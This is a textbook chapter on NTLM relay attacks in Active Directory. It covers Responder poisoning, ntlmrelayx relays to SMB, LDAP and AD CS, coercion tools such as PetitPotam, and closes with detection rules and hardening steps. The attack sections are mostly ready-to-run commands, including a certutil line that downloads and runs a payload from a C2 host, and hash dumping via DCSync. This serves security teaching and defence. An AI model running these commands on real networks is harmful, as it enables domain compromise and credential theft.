Chapter 149

NTLM Relay Attacks

NTLM relay doesn't crack hashes — it live-proxies an authentication from a victim to a target service, using the victim's credentials to authenticate on your behalf. Combined with authentication coercion techniques (PetitPotam, PrinterBug, DFSCoerce) against machine accounts and relay targets like LDAP or AD CS, a single unauthenticated position on the network can escalate to Domain Admin.

Scenario

You have code execution on a standard workstation. NTLM signing is enforced on SMB but NOT on LDAP. You coerce the Domain Controller's computer account to authenticate to you using PetitPotam (EfsRpcOpenFileRaw). You relay that NTLM authentication to LDAP on the same DC — writing a shadow credential (msDS-KeyCredentialLink) or adding your account to Domain Admins. The DC authenticates itself to its own LDAP with its own computer account credentials, and you use that to compromise the domain. No passwords cracked, no LSASS touched.

NTLM Relay Theory

Normal NTLM (3-way): Client ──NEGOTIATE──▶ Server Client ◀──CHALLENGE── Server (nonce) Client ──AUTHENTICATE▶ Server (NTLMv2 response = HMAC-MD5(hash, nonce)) Server validates response against domain (via Netlogon/DC) Relay attack — attacker in the middle: Victim ──NEGOTIATE──▶ Attacker (attacker triggers victim auth via coercion) Attacker ──NEGOTIATE──▶ Target (attacker connects to real target) Target ◀──CHALLENGE── Attacker (attacker gets target's nonce) Attacker ──CHALLENGE──▶ Victim (forwards target's nonce to victim) Victim ──AUTHENTICATE▶ Attacker (victim computes HMAC-MD5 over TARGET's nonce) Attacker ──AUTHENTICATE▶ Target (attacker forwards identical response) Target authenticates: victim's session established on attacker's behalf Why this works: the NTLM response is computed over the server's nonce. Attacker substitutes the real target's nonce → victim unknowingly authenticates to target. Why SMB signing breaks it: Signed SMB: session signing key derived from NTLM session key. Attacker doesn't know the session key (derived from NT hash — never sent). All signed messages fail MIC check → relay to SMB is broken when signing enforced. LDAP typically has no signing requirement → still relayable. ADCS HTTP endpoint: no signing → relay Kerberos authentication or NTLM → certificate.

LLMNR/NBT-NS Poisoning to Capture Auth

# Responder: poison LLMNR/NBT-NS/mDNS — capture NetNTLMv2 challenges
# When a Windows host fails DNS resolution, it broadcasts LLMNR (port 5355)
# and NBT-NS (port 137) asking "who is \FILESERVER03?"
# Responder claims to be that host → captures authentication attempt

# Capture mode (no relay — store hashes for offline cracking):
sudo python3 /opt/Responder/Responder.py -I eth0 -wd

# Relay mode (forward captured auth to a real target):
# Disable HTTP/SMB in Responder.conf first, then:
sudo python3 /opt/Responder/Responder.py -I eth0 -wd \
    --lm --disable-ess

# Simultaneously run ntlmrelayx:
sudo python3 /opt/impacket/examples/ntlmrelayx.py \
    -tf targets.txt \          # list of SMB targets without signing
    -smb2support \
    -c "powershell -enc ..."   # command to run if relay succeeds

# SMB targets without signing (from CrackMapExec or nmap):
cme smb 10.10.5.0/24 --gen-relay-list targets.txt

SMB Relay to Remote Code Execution

SMB relay chain (when victim has local admin on target): 1. Victim authenticates to attacker (LLMNR poison or coercion) 2. Attacker relays to target SMB service (port 445) 3. If victim is local admin on target → SMB auth succeeds 4. ntlmrelayx: executes command via SVCCTL RPC (creates PSEXEC-style service) OR writes to ADMIN$ share 5. Target host runs command as the victim's account Requirements: - SMB signing disabled on target (verify with: nmap --script smb2-security-mode) - Victim must have admin rights on target - Standard domain users are rarely local admins on random boxes → limited scope - Machine accounts (e.g., DC$) are admin on themselves → relay DC auth to DC LDAP ntlmrelayx execution commands: -c "cmd /c certutil -urlcache -f http://c2/b.exe C:\Windows\Temp\b.exe && C:\Windows\Temp\b.exe" --no-http-server --smb2support -t smb://target -i → interactive SMBclient shell --loot → dump SAM, LSA secrets, NTDS.dit via DRSUAPI

SMB-to-LDAP Relay: Shadow Credentials

# Relay NTLM auth from a privileged account (e.g., DC machine account) to LDAP.
# LDAP has no signing requirement by default on most DCs.
# ntlmrelayx --delegate-access or --shadow-credentials do different things:

# Shadow credentials: add msDS-KeyCredentialLink to a user/computer
# → Allows Kerberos PKINIT auth using our RSA keypair → get TGT without password
# Requires: DC on Windows Server 2016+ with ADCS or Windows Hello for Business schema

sudo python3 ntlmrelayx.py \
    -t ldap://dc01.corp.local \
    --shadow-credentials \
    --shadow-target 'targetuser'

# Output: new keypair created, msDS-KeyCredentialLink written to 'targetuser'
# Then: Rubeus.exe asktgt /user:targetuser /certificate:<pfx> /password:<pfx_pass>
# Result: TGT for targetuser — full domain user compromise without knowing their password

# Alternative: Resource-Based Constrained Delegation (RBCD) abuse:
# ntlmrelayx writes msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer
# → attacker machine can S4U2Proxy to get service tickets as any user on that computer
sudo python3 ntlmrelayx.py \
    -t ldap://dc01.corp.local \
    --delegate-access

Relay to ADCS — ESC8 (PetitPotam + Web Enrollment)

# ESC8: ADCS HTTP Web Enrollment endpoint (/certsrv/) does not enforce NTLM signing.
# Relay DC machine account auth to ADCS → request a certificate for the DC$ account.
# A DC certificate can be used for PKINIT TGT request → full domain compromise.

# Step 1: Force DC to authenticate to us (coercion — see next section)
# Step 2: Relay to ADCS enrollment endpoint:
sudo python3 ntlmrelayx.py \
    -t http://ca01.corp.local/certsrv/certfnsh.asp \
    --adcs \
    --template DomainController    # or "Machine", depends on CA config

# Output: base64 PFX certificate for DC01$ machine account
# Step 3: Use certificate for PKINIT TGT request:
#   Rubeus.exe asktgt /user:DC01$ /certificate:<base64pfx> /ptt
# Step 4: DCSync:
#   secretsdump.py -k -no-pass DC01.corp.local
# Result: all domain hashes → ntds.dit equivalent

Authentication Coercion Techniques

TechniqueProtocol/RPCRequirementTarget
PetitPotamMS-EFSR (EfsRpcOpenFileRaw)Network access to port 445Any Windows host (including DCs)
PrinterBug (SpoolSample)MS-RPRN (RpcRemoteFindFirstPrinterChangeNotification)Print Spooler running on targetOlder DCs/servers with Spooler enabled
DFSCoerceMS-DFSNM (NetrDfsAddStdRoot)DFS Namespace serviceDCs with DFS role
ShadowCoerceMS-FSRVP (IsPathShadowCopied)VSS running on targetFile servers
Coercer (framework)Multiple MS-RPC methodsNetwork authAny — tries all methods
# PetitPotam: coerce DC to authenticate to our relay listener
python3 PetitPotam.py -u '' -p '' -d '' \
    <attacker_IP> <dc_hostname_or_IP>

# PrinterBug (requires Print Spooler on target):
python3 printerbug.py corp/user:password@dc01.corp.local <attacker_IP>

# Coercer framework (tries all methods):
python3 Coercer.py coerce \
    -u lowprivuser -p 'Password1!' -d corp.local \
    --listener-ip <attacker_IP> \
    --target dc01.corp.local

Detection Engineering

title: LLMNR/NBT-NS Poisoning Response Detected
logsource:
  product: windows
  service: dns-client
detection:
  selection:
    EventID: 1014   # DNS client event — name resolution failure (LLMNR fallback)
  condition: selection
level: informational
tags: [attack.credential_access, T1557.001]

title: PetitPotam — EFS RPC Coercion from Non-Domain-Admin
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145   # A network share object was checked
    RelativeTargetName: 'lsarpc'
    ShareName: '\\*\IPC$'
  condition: selection
level: medium

-- MDE KQL: machine account NTLM auth from DC to unusual target (relay indicator)
DeviceLogonEvents
| where AccountName endswith '$'                    -- machine account
| where LogonType == "Network"
| where Protocol == "NTLM"
| where RemoteDeviceName !in~ ("DC01", "DC02")      -- not authenticating to own DC
| project Timestamp, DeviceName, AccountName,
          RemoteDeviceName, RemoteIP, LogonType
| order by Timestamp desc

-- MDE KQL: certificate request immediately following machine account NTLM (ESC8 indicator)
DeviceEvents
| where ActionType == "CertificateRequest"
| join kind=inner (
    DeviceLogonEvents
    | where AccountName endswith '$'
    | where Protocol == "NTLM"
) on DeviceName
| where abs(datetime_diff('second', Timestamp, Timestamp1)) < 30
| project Timestamp, DeviceName, AccountName, ActionType

Q&A

If SMB signing is enforced everywhere, is NTLM relay dead, and what relay targets remain viable?

SMB signing enforcement kills SMB-to-SMB relay specifically, but it does not kill NTLM relay as a class of attack. NTLM relay is alive and extremely effective as long as any service accepts NTLM authentication without enforcing message integrity. The major targets that typically lack mandatory NTLM signing or are frequently misconfigured:

LDAP / LDAPS: LDAP signing and channel binding are disabled by default on many DCs even on modern Windows Server. Microsoft released guidance (ADV190023) recommending enforcement but most organizations haven't applied it. Relay to LDAP with shadow credentials or RBCD abuse is the most common post-coercion escalation path in 2024. HTTP services: AD CS web enrollment (port 80/443 on the CA), Exchange OWA/EWS (historically), Outlook Web App, and internal web applications that use Windows Integrated Authentication. The ESC8 ADCS relay attack is one of the highest-impact techniques available because it converts any successful coercion into a domain certificate for the victim's account. MSSQL: if SQL Server uses Windows Authentication, relaying an admin account's NTLM auth to SQL Server grants DBA access. SMTP/Autodiscover: Exchange server Autodiscover and SMTP AUTH can relay NTLM. The practical hardening posture is: (1) enforce SMB signing on all hosts via GPO, (2) enable LDAP signing and channel binding on all DCs (KB4520412), (3) disable NTLM entirely where possible (Kerberos-only policy), (4) restrict ADCS web enrollment to require Kerberos, and (5) disable LLMNR and NBT-NS via GPO to eliminate the primary coercion vector without requiring active exploitation.